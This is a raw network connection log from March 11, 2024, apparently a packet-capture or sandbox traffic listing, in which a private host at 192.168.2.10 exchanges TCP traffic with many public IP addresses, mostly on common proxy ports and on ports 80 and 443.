Mar 11, 2024 16:39:44.715843916 CET	50642	6012	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:44.716077089 CET	8080	50507	103.190.54.141	192.168.2.10
Mar 11, 2024 16:39:44.716171980 CET	50507	8080	192.168.2.10	103.190.54.141
Mar 11, 2024 16:39:44.716443062 CET	51013	4145	192.168.2.10	72.195.114.169
Mar 11, 2024 16:39:44.717767954 CET	50507	8080	192.168.2.10	103.190.54.141
Mar 11, 2024 16:39:44.717933893 CET	15673	50537	23.95.209.142	192.168.2.10
Mar 11, 2024 16:39:44.717945099 CET	15673	50537	23.95.209.142	192.168.2.10
Mar 11, 2024 16:39:44.721277952 CET	4145	50807	192.111.134.10	192.168.2.10
Mar 11, 2024 16:39:44.721291065 CET	8888	50011	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:44.721313953 CET	51014	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:44.721467018 CET	8888	50673	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:44.721590996 CET	12334	49754	194.4.50.91	192.168.2.10
Mar 11, 2024 16:39:44.721700907 CET	50673	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:44.722023010 CET	12334	49754	194.4.50.91	192.168.2.10
Mar 11, 2024 16:39:44.722253084 CET	49806	4145	192.168.2.10	184.181.217.194
Mar 11, 2024 16:39:44.722327948 CET	49754	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:44.722496986 CET	50673	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:44.722879887 CET	7777	50093	218.6.120.111	192.168.2.10
Mar 11, 2024 16:39:44.723185062 CET	49943	8080	192.168.2.10	38.253.232.2
Mar 11, 2024 16:39:44.723193884 CET	50164	21777	192.168.2.10	51.222.84.118
Mar 11, 2024 16:39:44.723195076 CET	50224	4145	192.168.2.10	199.102.106.94
Mar 11, 2024 16:39:44.723195076 CET	50160	59268	192.168.2.10	67.213.212.50
Mar 11, 2024 16:39:44.723195076 CET	50171	41274	192.168.2.10	162.241.158.204
Mar 11, 2024 16:39:44.723211050 CET	49960	80	192.168.2.10	144.24.122.46
Mar 11, 2024 16:39:44.723234892 CET	49957	48117	192.168.2.10	162.215.219.157
Mar 11, 2024 16:39:44.723309040 CET	49965	59243	192.168.2.10	159.223.71.71
Mar 11, 2024 16:39:44.723365068 CET	49959	55198	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:44.723365068 CET	49953	49858	192.168.2.10	162.241.50.179
Mar 11, 2024 16:39:44.723489046 CET	49950	1080	192.168.2.10	103.234.27.153
Mar 11, 2024 16:39:44.723983049 CET	4145	50812	142.54.232.6	192.168.2.10
Mar 11, 2024 16:39:44.723987103 CET	49754	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:44.724930048 CET	51016	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:44.725016117 CET	51015	4145	192.168.2.10	142.54.231.38
Mar 11, 2024 16:39:44.725409031 CET	51017	45629	192.168.2.10	162.241.6.97
Mar 11, 2024 16:39:44.725892067 CET	51018	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:44.726007938 CET	10003	49992	147.75.34.86	192.168.2.10
Mar 11, 2024 16:39:44.726453066 CET	51019	3128	192.168.2.10	140.227.204.70
Mar 11, 2024 16:39:44.726608038 CET	51020	18636	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:44.727245092 CET	51022	80	192.168.2.10	91.107.180.250
Mar 11, 2024 16:39:44.727251053 CET	51021	7497	192.168.2.10	51.178.51.28
Mar 11, 2024 16:39:44.728425026 CET	51024	3180	192.168.2.10	143.208.152.61
Mar 11, 2024 16:39:44.728427887 CET	51023	3128	192.168.2.10	45.159.189.244
Mar 11, 2024 16:39:44.728445053 CET	80	50770	50.168.163.180	192.168.2.10
Mar 11, 2024 16:39:44.728851080 CET	51026	26887	192.168.2.10	72.10.160.170
Mar 11, 2024 16:39:44.728933096 CET	51025	31673	192.168.2.10	173.212.209.49
Mar 11, 2024 16:39:44.730057001 CET	36946	50676	207.180.234.220	192.168.2.10
Mar 11, 2024 16:39:44.730101109 CET	51027	80	192.168.2.10	85.214.107.177
Mar 11, 2024 16:39:44.730101109 CET	51028	999	192.168.2.10	37.148.217.234
Mar 11, 2024 16:39:44.730231047 CET	50676	36946	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:44.730787039 CET	50676	36946	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:44.730979919 CET	51029	8080	192.168.2.10	69.75.140.157
Mar 11, 2024 16:39:44.731136084 CET	51030	41146	192.168.2.10	135.148.10.161
Mar 11, 2024 16:39:44.731650114 CET	51031	52395	192.168.2.10	164.92.237.188
Mar 11, 2024 16:39:44.732114077 CET	51032	1929	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:44.732129097 CET	80	50440	172.67.14.237	192.168.2.10
Mar 11, 2024 16:39:44.732484102 CET	51033	8888	192.168.2.10	66.45.246.194
Mar 11, 2024 16:39:44.733038902 CET	80	50670	172.67.181.97	192.168.2.10
Mar 11, 2024 16:39:44.733052015 CET	80	50670	172.67.181.97	192.168.2.10
Mar 11, 2024 16:39:44.733170986 CET	80	50453	104.20.103.68	192.168.2.10
Mar 11, 2024 16:39:44.733182907 CET	80	50442	185.238.228.240	192.168.2.10
Mar 11, 2024 16:39:44.733187914 CET	51034	8199	192.168.2.10	36.64.22.18
Mar 11, 2024 16:39:44.733192921 CET	51035	80	192.168.2.10	50.168.72.113
Mar 11, 2024 16:39:44.733223915 CET	80	50449	172.67.209.12	192.168.2.10
Mar 11, 2024 16:39:44.733374119 CET	50670	80	192.168.2.10	172.67.181.97
Mar 11, 2024 16:39:44.733627081 CET	25675	50627	92.204.134.38	192.168.2.10
Mar 11, 2024 16:39:44.733823061 CET	80	50670	172.67.181.97	192.168.2.10
Mar 11, 2024 16:39:44.733834982 CET	25675	50627	92.204.134.38	192.168.2.10
Mar 11, 2024 16:39:44.733911037 CET	3128	49822	15.236.106.236	192.168.2.10
Mar 11, 2024 16:39:44.733971119 CET	50670	80	192.168.2.10	172.67.181.97
Mar 11, 2024 16:39:44.734024048 CET	80	50464	104.16.105.142	192.168.2.10
Mar 11, 2024 16:39:44.734579086 CET	80	50473	104.24.35.152	192.168.2.10
Mar 11, 2024 16:39:44.734591961 CET	9002	50508	120.197.40.219	192.168.2.10
Mar 11, 2024 16:39:44.734702110 CET	50508	9002	192.168.2.10	120.197.40.219
Mar 11, 2024 16:39:44.734764099 CET	80	50684	104.25.42.178	192.168.2.10
Mar 11, 2024 16:39:44.734776020 CET	80	50684	104.25.42.178	192.168.2.10
Mar 11, 2024 16:39:44.735322952 CET	50684	80	192.168.2.10	104.25.42.178
Mar 11, 2024 16:39:44.735337019 CET	80	50684	104.25.42.178	192.168.2.10
Mar 11, 2024 16:39:44.735342026 CET	50508	9002	192.168.2.10	120.197.40.219
Mar 11, 2024 16:39:44.735347986 CET	51036	25675	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:44.735510111 CET	50684	80	192.168.2.10	104.25.42.178
Mar 11, 2024 16:39:44.736397982 CET	51038	8291	192.168.2.10	103.114.96.125
Mar 11, 2024 16:39:44.736401081 CET	51037	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.736434937 CET	443	51037	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.736738920 CET	51037	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.737006903 CET	51037	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.737021923 CET	443	51037	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.737067938 CET	443	51037	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.737894058 CET	51039	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.737917900 CET	443	51039	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.738404036 CET	51039	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.738598108 CET	51039	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.738614082 CET	443	51039	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.738636017 CET	443	51039	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.738794088 CET	49751	30951	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:44.738796949 CET	49750	40351	192.168.2.10	51.222.241.157
Mar 11, 2024 16:39:44.738806009 CET	49978	59870	192.168.2.10	37.187.77.58
Mar 11, 2024 16:39:44.738812923 CET	49958	999	192.168.2.10	170.239.205.1
Mar 11, 2024 16:39:44.738815069 CET	50140	999	192.168.2.10	45.229.34.174
Mar 11, 2024 16:39:44.738815069 CET	49977	59820	192.168.2.10	107.180.88.173
Mar 11, 2024 16:39:44.738827944 CET	50179	13477	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:44.738827944 CET	49969	8888	192.168.2.10	38.156.72.135
Mar 11, 2024 16:39:44.738850117 CET	49964	3128	192.168.2.10	35.237.210.215
Mar 11, 2024 16:39:44.739082098 CET	49973	1488	192.168.2.10	85.94.24.29
Mar 11, 2024 16:39:44.739427090 CET	8083	50565	185.132.242.212	192.168.2.10
Mar 11, 2024 16:39:44.739722967 CET	50565	8083	192.168.2.10	185.132.242.212
Mar 11, 2024 16:39:44.739845037 CET	51040	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.739864111 CET	443	51040	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.739980936 CET	50565	8083	192.168.2.10	185.132.242.212
Mar 11, 2024 16:39:44.740103006 CET	51040	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.740453005 CET	51041	39782	192.168.2.10	192.163.202.88
Mar 11, 2024 16:39:44.740489006 CET	51040	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.740499973 CET	443	51040	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.740520000 CET	443	51040	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.740772963 CET	51042	1080	192.168.2.10	5.252.23.249
Mar 11, 2024 16:39:44.741787910 CET	51043	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.741811037 CET	443	51043	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.743356943 CET	15082	49709	45.77.111.135	192.168.2.10
Mar 11, 2024 16:39:44.743376017 CET	51044	8080	192.168.2.10	200.7.11.154
Mar 11, 2024 16:39:44.743376970 CET	51046	13793	192.168.2.10	103.117.109.1
Mar 11, 2024 16:39:44.743377924 CET	51045	8080	192.168.2.10	41.85.8.233
Mar 11, 2024 16:39:44.743536949 CET	51043	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.744023085 CET	51043	443	192.168.2.10	47.236.85.113
Mar 11, 2024 16:39:44.744035006 CET	443	51043	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.744071007 CET	443	51043	47.236.85.113	192.168.2.10
Mar 11, 2024 16:39:44.745093107 CET	51047	30421	192.168.2.10	176.103.51.24
Mar 11, 2024 16:39:44.745112896 CET	8081	50275	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:44.745294094 CET	51048	10102	192.168.2.10	83.220.168.57
Mar 11, 2024 16:39:44.745320082 CET	50275	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:44.745546103 CET	50275	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:44.745589018 CET	4153	50573	185.22.31.227	192.168.2.10
Mar 11, 2024 16:39:44.745718956 CET	8000	50258	128.199.252.41	192.168.2.10
Mar 11, 2024 16:39:44.746260881 CET	51049	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:44.747070074 CET	7777	49880	123.30.154.171	192.168.2.10
Mar 11, 2024 16:39:44.747349977 CET	51050	82	192.168.2.10	202.12.80.8
Mar 11, 2024 16:39:44.747448921 CET	51051	46195	192.168.2.10	194.163.159.94
Mar 11, 2024 16:39:44.748179913 CET	80	50487	104.27.83.183	192.168.2.10
Mar 11, 2024 16:39:44.748610020 CET	8081	50275	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:44.749310017 CET	51052	56974	192.168.2.10	190.220.1.173
Mar 11, 2024 16:39:44.749862909 CET	80	50691	104.19.225.70	192.168.2.10
Mar 11, 2024 16:39:44.749967098 CET	80	50691	104.19.225.70	192.168.2.10
Mar 11, 2024 16:39:44.750329971 CET	50691	80	192.168.2.10	104.19.225.70
Mar 11, 2024 16:39:44.750395060 CET	47354	50752	67.213.212.49	192.168.2.10
Mar 11, 2024 16:39:44.751461029 CET	80	50691	104.19.225.70	192.168.2.10
Mar 11, 2024 16:39:44.751668930 CET	50691	80	192.168.2.10	104.19.225.70
Mar 11, 2024 16:39:44.752259970 CET	8080	50718	51.68.220.201	192.168.2.10
Mar 11, 2024 16:39:44.753005981 CET	52858	50681	195.177.217.131	192.168.2.10
Mar 11, 2024 16:39:44.753263950 CET	80	50721	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:44.753439903 CET	50721	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:44.753470898 CET	50681	52858	192.168.2.10	195.177.217.131
Mar 11, 2024 16:39:44.753844976 CET	50721	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:44.753977060 CET	50681	52858	192.168.2.10	195.177.217.131
Mar 11, 2024 16:39:44.753992081 CET	3128	50680	192.46.229.19	192.168.2.10
Mar 11, 2024 16:39:44.754126072 CET	50680	3128	192.168.2.10	192.46.229.19
Mar 11, 2024 16:39:44.754431009 CET	50680	3128	192.168.2.10	192.46.229.19
Mar 11, 2024 16:39:44.754437923 CET	50194	44374	192.168.2.10	172.93.111.235
Mar 11, 2024 16:39:44.754484892 CET	49974	51918	192.168.2.10	162.214.197.102
Mar 11, 2024 16:39:44.754486084 CET	50058	5678	192.168.2.10	202.165.47.49
Mar 11, 2024 16:39:44.754484892 CET	50097	31979	192.168.2.10	51.77.65.164
Mar 11, 2024 16:39:44.754486084 CET	49991	5678	192.168.2.10	178.236.122.164
Mar 11, 2024 16:39:44.754486084 CET	49979	38117	192.168.2.10	132.148.245.169
Mar 11, 2024 16:39:44.754486084 CET	49986	23854	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:44.754487038 CET	49981	8118	192.168.2.10	182.140.244.163
Mar 11, 2024 16:39:44.754487038 CET	49994	9091	192.168.2.10	120.37.121.209
Mar 11, 2024 16:39:44.754486084 CET	50268	4145	192.168.2.10	142.54.237.34
Mar 11, 2024 16:39:44.754487038 CET	49985	999	192.168.2.10	190.97.238.89
Mar 11, 2024 16:39:44.754486084 CET	50039	8089	192.168.2.10	111.225.152.42
Mar 11, 2024 16:39:44.754487038 CET	49988	3128	192.168.2.10	125.99.106.250
Mar 11, 2024 16:39:44.754599094 CET	49993	60069	192.168.2.10	148.72.23.56
Mar 11, 2024 16:39:44.754632950 CET	49989	5678	192.168.2.10	103.130.112.253
Mar 11, 2024 16:39:44.755696058 CET	51053	3128	192.168.2.10	86.107.179.234
Mar 11, 2024 16:39:44.755812883 CET	3128	50543	23.152.40.14	192.168.2.10
Mar 11, 2024 16:39:44.756733894 CET	51055	8080	192.168.2.10	41.180.70.2
Mar 11, 2024 16:39:44.756753922 CET	51054	3128	192.168.2.10	51.79.249.186
Mar 11, 2024 16:39:44.756762028 CET	51056	8080	192.168.2.10	103.165.128.171
Mar 11, 2024 16:39:44.758044958 CET	51057	61634	192.168.2.10	107.180.103.214
Mar 11, 2024 16:39:44.758093119 CET	51058	3128	192.168.2.10	91.189.177.188
Mar 11, 2024 16:39:44.758656979 CET	3128	50499	159.203.61.169	192.168.2.10
Mar 11, 2024 16:39:44.758972883 CET	3128	50567	3.212.148.199	192.168.2.10
Mar 11, 2024 16:39:44.759516001 CET	51059	81	192.168.2.10	37.187.24.201
Mar 11, 2024 16:39:44.760588884 CET	51060	8080	192.168.2.10	36.91.148.36
Mar 11, 2024 16:39:44.760677099 CET	3629	50272	95.31.42.199	192.168.2.10
Mar 11, 2024 16:39:44.760930061 CET	80	50717	104.22.50.220	192.168.2.10
Mar 11, 2024 16:39:44.760941982 CET	80	50717	104.22.50.220	192.168.2.10
Mar 11, 2024 16:39:44.760953903 CET	8080	50264	91.202.230.219	192.168.2.10
Mar 11, 2024 16:39:44.761004925 CET	3128	50567	3.212.148.199	192.168.2.10
Mar 11, 2024 16:39:44.761190891 CET	50264	8080	192.168.2.10	91.202.230.219
Mar 11, 2024 16:39:44.761245966 CET	31295	50019	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:44.761257887 CET	5385	50014	72.10.160.170	192.168.2.10
Mar 11, 2024 16:39:44.761267900 CET	80	50717	104.22.50.220	192.168.2.10
Mar 11, 2024 16:39:44.761312008 CET	50264	8080	192.168.2.10	91.202.230.219
Mar 11, 2024 16:39:44.761327982 CET	50717	80	192.168.2.10	104.22.50.220
Mar 11, 2024 16:39:44.761327982 CET	50717	80	192.168.2.10	104.22.50.220
Mar 11, 2024 16:39:44.762003899 CET	3629	50272	95.31.42.199	192.168.2.10
Mar 11, 2024 16:39:44.762099981 CET	50567	3128	192.168.2.10	3.212.148.199
Mar 11, 2024 16:39:44.762310982 CET	50272	3629	192.168.2.10	95.31.42.199
Mar 11, 2024 16:39:44.762432098 CET	50272	3629	192.168.2.10	95.31.42.199
Mar 11, 2024 16:39:44.762476921 CET	51061	8080	192.168.2.10	91.202.230.219
Mar 11, 2024 16:39:44.762989998 CET	8888	50462	23.94.123.243	192.168.2.10
Mar 11, 2024 16:39:44.763133049 CET	44195	50299	162.19.7.56	192.168.2.10
Mar 11, 2024 16:39:44.763313055 CET	51062	3629	192.168.2.10	95.31.42.199
Mar 11, 2024 16:39:44.763377905 CET	3128	50687	52.67.10.183	192.168.2.10
Mar 11, 2024 16:39:44.763609886 CET	50687	3128	192.168.2.10	52.67.10.183
Mar 11, 2024 16:39:44.764113903 CET	50687	3128	192.168.2.10	52.67.10.183
Mar 11, 2024 16:39:44.764441967 CET	51063	53471	192.168.2.10	37.44.238.2
Mar 11, 2024 16:39:44.764607906 CET	9999	50455	113.195.224.222	192.168.2.10
Mar 11, 2024 16:39:44.764977932 CET	51064	46047	192.168.2.10	208.109.14.49
Mar 11, 2024 16:39:44.765115976 CET	3128	50010	178.128.148.69	192.168.2.10
Mar 11, 2024 16:39:44.766611099 CET	64768	49894	173.212.250.16	192.168.2.10
Mar 11, 2024 16:39:44.767389059 CET	80	50729	172.67.127.188	192.168.2.10
Mar 11, 2024 16:39:44.767400980 CET	80	50729	172.67.127.188	192.168.2.10
Mar 11, 2024 16:39:44.767410994 CET	80	50729	172.67.127.188	192.168.2.10
Mar 11, 2024 16:39:44.767592907 CET	50729	80	192.168.2.10	172.67.127.188
Mar 11, 2024 16:39:44.767594099 CET	51065	80	192.168.2.10	154.208.10.126
Mar 11, 2024 16:39:44.767805099 CET	50729	80	192.168.2.10	172.67.127.188
Mar 11, 2024 16:39:44.767857075 CET	46919	50756	51.15.16.96	192.168.2.10
Mar 11, 2024 16:39:44.768510103 CET	64523	50737	46.105.44.29	192.168.2.10
Mar 11, 2024 16:39:44.769352913 CET	80	50921	162.159.241.5	192.168.2.10
Mar 11, 2024 16:39:44.769524097 CET	80	50511	173.245.49.27	192.168.2.10
Mar 11, 2024 16:39:44.769550085 CET	50921	80	192.168.2.10	162.159.241.5
Mar 11, 2024 16:39:44.770057917 CET	49987	32650	192.168.2.10	103.176.116.171
Mar 11, 2024 16:39:44.770060062 CET	49997	8080	192.168.2.10	185.200.37.245
Mar 11, 2024 16:39:44.770067930 CET	50004	48612	192.168.2.10	191.103.219.225
Mar 11, 2024 16:39:44.770067930 CET	49995	80	192.168.2.10	20.187.77.5
Mar 11, 2024 16:39:44.770123005 CET	49732	8089	192.168.2.10	117.70.49.235
Mar 11, 2024 16:39:44.770132065 CET	50002	3128	192.168.2.10	51.178.43.147
Mar 11, 2024 16:39:44.770175934 CET	49998	80	192.168.2.10	162.144.236.128
Mar 11, 2024 16:39:44.770581961 CET	1080	50671	195.98.93.234	192.168.2.10
Mar 11, 2024 16:39:44.770939112 CET	8080	50264	91.202.230.219	192.168.2.10
Mar 11, 2024 16:39:44.772372007 CET	80	50739	172.67.182.107	192.168.2.10
Mar 11, 2024 16:39:44.772452116 CET	50921	80	192.168.2.10	162.159.241.5
Mar 11, 2024 16:39:44.772471905 CET	80	50739	172.67.182.107	192.168.2.10
Mar 11, 2024 16:39:44.772641897 CET	80	50739	172.67.182.107	192.168.2.10
Mar 11, 2024 16:39:44.772872925 CET	18129	50825	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:44.772906065 CET	50739	80	192.168.2.10	172.67.182.107
Mar 11, 2024 16:39:44.773489952 CET	3128	50773	134.209.29.120	192.168.2.10
Mar 11, 2024 16:39:44.773570061 CET	50773	3128	192.168.2.10	134.209.29.120
Mar 11, 2024 16:39:44.773652077 CET	50739	80	192.168.2.10	172.67.182.107
Mar 11, 2024 16:39:44.775602102 CET	50773	3128	192.168.2.10	134.209.29.120
Mar 11, 2024 16:39:44.776406050 CET	3933	50021	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:44.776679993 CET	8080	50917	47.88.3.19	192.168.2.10
Mar 11, 2024 16:39:44.776791096 CET	50917	8080	192.168.2.10	47.88.3.19
Mar 11, 2024 16:39:44.777117014 CET	26693	50837	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:44.778351068 CET	4145	50804	174.75.211.222	192.168.2.10
Mar 11, 2024 16:39:44.778645992 CET	50917	8080	192.168.2.10	47.88.3.19
Mar 11, 2024 16:39:44.778845072 CET	9123	50330	173.249.29.243	192.168.2.10
Mar 11, 2024 16:39:44.778853893 CET	50804	4145	192.168.2.10	174.75.211.222
Mar 11, 2024 16:39:44.780073881 CET	50804	4145	192.168.2.10	174.75.211.222
Mar 11, 2024 16:39:44.780086994 CET	3128	49878	18.134.236.231	192.168.2.10
Mar 11, 2024 16:39:44.780524015 CET	28723	50844	67.43.227.227	192.168.2.10
Mar 11, 2024 16:39:44.784363031 CET	8197	50326	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:44.784470081 CET	8197	50326	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:44.784482956 CET	8197	50326	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:44.784604073 CET	50326	8197	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.784668922 CET	50326	8197	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.784672022 CET	8080	50817	177.229.210.50	192.168.2.10
Mar 11, 2024 16:39:44.785651922 CET	80	50960	104.16.104.12	192.168.2.10
Mar 11, 2024 16:39:44.785679102 CET	50050	3129	192.168.2.10	20.219.177.85
Mar 11, 2024 16:39:44.785680056 CET	49999	16379	192.168.2.10	163.172.165.36
Mar 11, 2024 16:39:44.785695076 CET	50006	24834	192.168.2.10	107.180.88.41
Mar 11, 2024 16:39:44.785698891 CET	49766	4495	192.168.2.10	67.43.228.252
Mar 11, 2024 16:39:44.785698891 CET	49773	80	192.168.2.10	50.239.72.18
Mar 11, 2024 16:39:44.785701990 CET	50133	55066	192.168.2.10	167.86.115.103
Mar 11, 2024 16:39:44.785701990 CET	50008	18374	192.168.2.10	92.205.110.118
Mar 11, 2024 16:39:44.785720110 CET	49822	3128	192.168.2.10	15.236.106.236
Mar 11, 2024 16:39:44.785720110 CET	50045	4153	192.168.2.10	103.83.105.167
Mar 11, 2024 16:39:44.785721064 CET	50012	52017	192.168.2.10	131.0.87.225
Mar 11, 2024 16:39:44.785722017 CET	50229	4711	192.168.2.10	67.43.227.227
Mar 11, 2024 16:39:44.785728931 CET	9375	49725	92.204.134.38	192.168.2.10
Mar 11, 2024 16:39:44.785753012 CET	50960	80	192.168.2.10	104.16.104.12
Mar 11, 2024 16:39:44.787019014 CET	50960	80	192.168.2.10	104.16.104.12
Mar 11, 2024 16:39:44.787214994 CET	80	50766	50.170.90.34	192.168.2.10
Mar 11, 2024 16:39:44.788450003 CET	80	50969	172.67.182.96	192.168.2.10
Mar 11, 2024 16:39:44.788836002 CET	50969	80	192.168.2.10	172.67.182.96
Mar 11, 2024 16:39:44.788836002 CET	50969	80	192.168.2.10	172.67.182.96
Mar 11, 2024 16:39:44.792051077 CET	80	50850	34.75.202.63	192.168.2.10
Mar 11, 2024 16:39:44.792256117 CET	3129	49798	115.248.66.131	192.168.2.10
Mar 11, 2024 16:39:44.794766903 CET	28513	50790	213.136.78.200	192.168.2.10
Mar 11, 2024 16:39:44.795645952 CET	51066	3128	192.168.2.10	130.162.213.175
Mar 11, 2024 16:39:44.795660019 CET	80	50561	31.43.179.160	192.168.2.10
Mar 11, 2024 16:39:44.795690060 CET	50790	28513	192.168.2.10	213.136.78.200
Mar 11, 2024 16:39:44.796011925 CET	50790	28513	192.168.2.10	213.136.78.200
Mar 11, 2024 16:39:44.796122074 CET	80	50789	104.27.26.29	192.168.2.10
Mar 11, 2024 16:39:44.796206951 CET	80	50789	104.27.26.29	192.168.2.10
Mar 11, 2024 16:39:44.796526909 CET	80	50789	104.27.26.29	192.168.2.10
Mar 11, 2024 16:39:44.796695948 CET	50789	80	192.168.2.10	104.27.26.29
Mar 11, 2024 16:39:44.796716928 CET	3128	49875	160.16.90.35	192.168.2.10
Mar 11, 2024 16:39:44.796797991 CET	49875	3128	192.168.2.10	160.16.90.35
Mar 11, 2024 16:39:44.797075033 CET	80	50935	50.207.199.85	192.168.2.10
Mar 11, 2024 16:39:44.797113895 CET	50789	80	192.168.2.10	104.27.26.29
Mar 11, 2024 16:39:44.800355911 CET	80	50584	185.238.228.202	192.168.2.10
Mar 11, 2024 16:39:44.800442934 CET	80	50793	172.67.181.12	192.168.2.10
Mar 11, 2024 16:39:44.800456047 CET	80	50793	172.67.181.12	192.168.2.10
Mar 11, 2024 16:39:44.800759077 CET	80	50793	172.67.181.12	192.168.2.10
Mar 11, 2024 16:39:44.800771952 CET	80	50980	45.12.30.231	192.168.2.10
Mar 11, 2024 16:39:44.800869942 CET	50793	80	192.168.2.10	172.67.181.12
Mar 11, 2024 16:39:44.800929070 CET	80	50586	104.25.87.42	192.168.2.10
Mar 11, 2024 16:39:44.800956964 CET	50793	80	192.168.2.10	172.67.181.12
Mar 11, 2024 16:39:44.800961018 CET	50980	80	192.168.2.10	45.12.30.231
Mar 11, 2024 16:39:44.801309109 CET	50020	3127	192.168.2.10	59.92.70.176
Mar 11, 2024 16:39:44.801311016 CET	50018	1080	192.168.2.10	139.255.132.68
Mar 11, 2024 16:39:44.801312923 CET	50007	4153	192.168.2.10	110.74.195.2
Mar 11, 2024 16:39:44.801337004 CET	50162	80	192.168.2.10	50.170.90.28
Mar 11, 2024 16:39:44.801338911 CET	50069	5678	192.168.2.10	223.25.98.82
Mar 11, 2024 16:39:44.801341057 CET	50022	3030	192.168.2.10	158.247.207.153
Mar 11, 2024 16:39:44.801486015 CET	80	50587	104.21.223.181	192.168.2.10
Mar 11, 2024 16:39:44.801714897 CET	3128	49909	194.182.187.78	192.168.2.10
Mar 11, 2024 16:39:44.801774025 CET	50980	80	192.168.2.10	45.12.30.231
Mar 11, 2024 16:39:44.805597067 CET	4145	50830	174.77.111.197	192.168.2.10
Mar 11, 2024 16:39:44.805613995 CET	4145	50827	72.210.221.197	192.168.2.10
Mar 11, 2024 16:39:44.805880070 CET	50830	4145	192.168.2.10	174.77.111.197
Mar 11, 2024 16:39:44.805985928 CET	50827	4145	192.168.2.10	72.210.221.197
Mar 11, 2024 16:39:44.806240082 CET	50830	4145	192.168.2.10	174.77.111.197
Mar 11, 2024 16:39:44.806282043 CET	50827	4145	192.168.2.10	72.210.221.197
Mar 11, 2024 16:39:44.806808949 CET	9080	50879	38.54.95.19	192.168.2.10
Mar 11, 2024 16:39:44.806845903 CET	8888	50355	136.244.99.51	192.168.2.10
Mar 11, 2024 16:39:44.806926012 CET	8888	50355	136.244.99.51	192.168.2.10
Mar 11, 2024 16:39:44.806931973 CET	50879	9080	192.168.2.10	38.54.95.19
Mar 11, 2024 16:39:44.806955099 CET	8888	50355	136.244.99.51	192.168.2.10
Mar 11, 2024 16:39:44.807080030 CET	50355	8888	192.168.2.10	136.244.99.51
Mar 11, 2024 16:39:44.807147980 CET	50879	9080	192.168.2.10	38.54.95.19
Mar 11, 2024 16:39:44.807775974 CET	50355	8888	192.168.2.10	136.244.99.51
Mar 11, 2024 16:39:44.808860064 CET	59623	50779	62.182.114.164	192.168.2.10
Mar 11, 2024 16:39:44.808877945 CET	80	49970	52.196.1.182	192.168.2.10
Mar 11, 2024 16:39:44.808921099 CET	5931	50861	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:44.810064077 CET	5432	50887	45.196.148.67	192.168.2.10
Mar 11, 2024 16:39:44.810406923 CET	50887	5432	192.168.2.10	45.196.148.67
Mar 11, 2024 16:39:44.810575962 CET	50887	5432	192.168.2.10	45.196.148.67
Mar 11, 2024 16:39:44.811132908 CET	4145	50420	92.207.253.226	192.168.2.10
Mar 11, 2024 16:39:44.811539888 CET	4145	50420	92.207.253.226	192.168.2.10
Mar 11, 2024 16:39:44.811731100 CET	50420	4145	192.168.2.10	92.207.253.226
Mar 11, 2024 16:39:44.812108040 CET	51067	4145	192.168.2.10	92.207.253.226
Mar 11, 2024 16:39:44.812246084 CET	50420	4145	192.168.2.10	92.207.253.226
Mar 11, 2024 16:39:44.813201904 CET	10049	50869	67.43.227.227	192.168.2.10
Mar 11, 2024 16:39:44.813484907 CET	80	50871	50.168.72.122	192.168.2.10
Mar 11, 2024 16:39:44.814006090 CET	80	50799	104.27.37.131	192.168.2.10
